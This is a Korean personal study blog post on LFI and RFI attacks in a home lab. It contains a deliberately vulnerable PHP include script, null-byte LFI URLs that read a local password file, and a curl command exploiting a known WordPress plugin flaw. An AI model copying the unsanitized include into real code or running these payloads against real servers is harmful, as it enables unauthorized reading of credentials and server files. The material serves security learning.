보안 / 개발 챌린저가 목표

LFI & RFI 본문

IT Security/Web hacking Study

LFI & RFI

햄미은서 2020. 10. 15. 19:54

▶ LFI & RFI

  - LFI & RFI

    § Local과 Remote에 대한 File Inclusion(파일 포함)을 의미.

    § 해킹으로 말하자면, LFI와 RFI를 이용하여 웹 서버에 악성 코드를 넣는 기법.

    § ex) PHP의 include 함수 → 특정 파일을 포함시켜 스크립트를 실행.

    § LFI : 서버에 FTP나 자료실로 악성 코드를 업로드시켜 include 시킴.

    § RFI : 외부 서버의 악성 코드를 불러와 include 시킴.

 

Injection
(SQL Injection)
  - 외부에서 특정 코드를 주입하는 방식의 해킹 기법
  - SQL 문구를 강제로 주입하여 특정 SQL 구문으로 해킹하는 방법
Inclusion
(File Inclusion)
  - 내외부에서 특정 파일을 포함시키는 방식의 해킹 기법
  - 파일을 포함시켜 취약점을 공격하는 기법

LFI를 통한 공격자의 웹 프로그래밍 실행


▷ LFI 공격 실습 과정

 

  ① 색상을 선택하면 해당 색상의 글자가 나오는 프로그램 제작하기.

<!-- color.html -->

<center>
  <form action="vulnerable.php" method="get">
    <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
    </select>
    <input type="submit">
  </form>
</center>
/* red.php */

<center>
  <font color='red'><h1>RED</h1></font>
</center>
/* blue.php */

<center>
  <font color='blue'><h1>BLUE</h1></font>
</center>
/* vulnerable.php */

<?php
  if(isset($_GET['COLOR'])) // GET 방식을 통해 변수를 받아옴
    $color = $_GET['COLOR'];
  include($color.'.php'); // 변수값이 불러올 파일이름이 되고 이를 읽음
?>

 

  ② LFI 공격으로 공격자가 원하는 파일 포함시키기.

/* hello.txt */

<center>
<?php
  $color = 'hello';
  echo "user : ".$color."\n\n";
?>
</center>

   - 업로드한 hello 악성 코드를 실행하기 위해서는 해당 파일을 일반 텍스트 파일로 인식하게 해야함.

 

   - 이 때, vulnerable.php의 include($color.'.php')에 hello.txt를 넣으면 에러가 발생한다.

LFI 실습 예제 hello.txt 에러

   - 에러가 발생한 이유는 hello.txt만 포함시키고 싶은데, vulnerable.php는 파일명을 받아 뒤에 .php 확장자를 붙이기 때문이다.

   - 전달 ⇒ C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt

   - 결과 ⇒ C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt.php

 

   - C는 문자열 처리 시 문자열 끝에 마지막을 의미하는 Null Byte(0x00)를 넣는다.

   - 이를 응용하여 전달 변수에 Null Byte를 넣어 php 확장자를 제거한다. → %00 사용!

   - http://127.0.0.1/201013/vulnerable.php?COLOR=C:\Bitnami\wampstack-7.4.10-0\apache2\htdocs\201013\hello.txt%00

'COLOR'와 같은 매개변수 취약점을 통하여 공격

  

  ③ Temp 폴더에 password.txt 파일을 만들어 저장.

   - 파일의 내용은 Sean/qwer1234

   - Temp 폴더는 웹 서버와는 전혀 상관없는 시스템의 폴더.

   - http://127.0.0.1/lfi/vulnerable.php?COLOR=C:\Temp\password.txt%00

   ⇒ LFI 공격으로 시스템의 패스워드를 해킹 성공!


▶ cURL을 통한 공격

  - cURL (command line tool for transferring files with URL syntax)

    § 커맨드 라인으로 HTTP 프로토콜 등의 데이터를 전송하는 도구.

    § HTTP뿐만 아니라 HTTPS, FTP, LDAP, SCP, TELNET, SMTP, POP3 등 대부분의 주요 프로토콜을 지원.

    § 우리가 보는 웹 브라우저의 통신을 커맨드로 주고받는다는 의미.

      → 우리가 주요 사용할 옵션 : -X, --request

           ☞ HTTP에서 POST, GET, PUT, DELETE 등의 명령어를 수행.

 

  ① 모든 환경이 정상이라면 다음과 같이 나옴.

  # curl --url http://192.168.0.132/lfi/color.html

 

  < 웹 해킹의 순서 >

워드프레스 LFI 해킹 과정

  ② 서버에 자신의 password.txt 파일을 생성.

서버에 패스워드 파일 생성

  ③ 워드프레스 관리자 화면에서 플러그인 Really Simple Guest Post 1.0.6 설치.

   - 이 플러그는 File Include 관련 취약점이 보고된 파일.

   - https://www.exploit-db.com/exploits/37209/ 에서 참고!

워드프레스 플러그인 설치

  ④ Kali에서 명령어 실행하여 공격.

공격!

  # curl -X POST -F "rootpath=C:\password.txt" --url http://192.168.0.132/wordpress/wp-content/plugins/really-simple-guest-post/simple-guest-post-submit.php

 

  - LFI 공격으로 root 계정의 패스워드 qwwert를 얻음.

워드프레스 플러그인의 소스 취약점

  * [소스 경로] C:\APM_Setup\htdocs\wordpress\wp-content\plugins\really-simple-guest-post\simple-guest-post-submit.php

  - 취약한 부분은 require_once 함수 부분.

  -  rootpath 경로명을 입력받아 파일을 한 번만 포함(include).

  - 이는 사용자의 입력 값을 검증하지 않고 curl을 통해 임의의 패스워드 파일을 포함시킨다는 것.

'IT Security > Web hacking Study' 카테고리의 다른 글

HTML Injection  (0) 2020.11.10
Metasploit  (0) 2020.11.10
Scan  (0) 2020.10.27
SQL Injection  (0) 2020.10.15
PHP에 대한 전반적인 이해  (0) 2020.09.12
Comments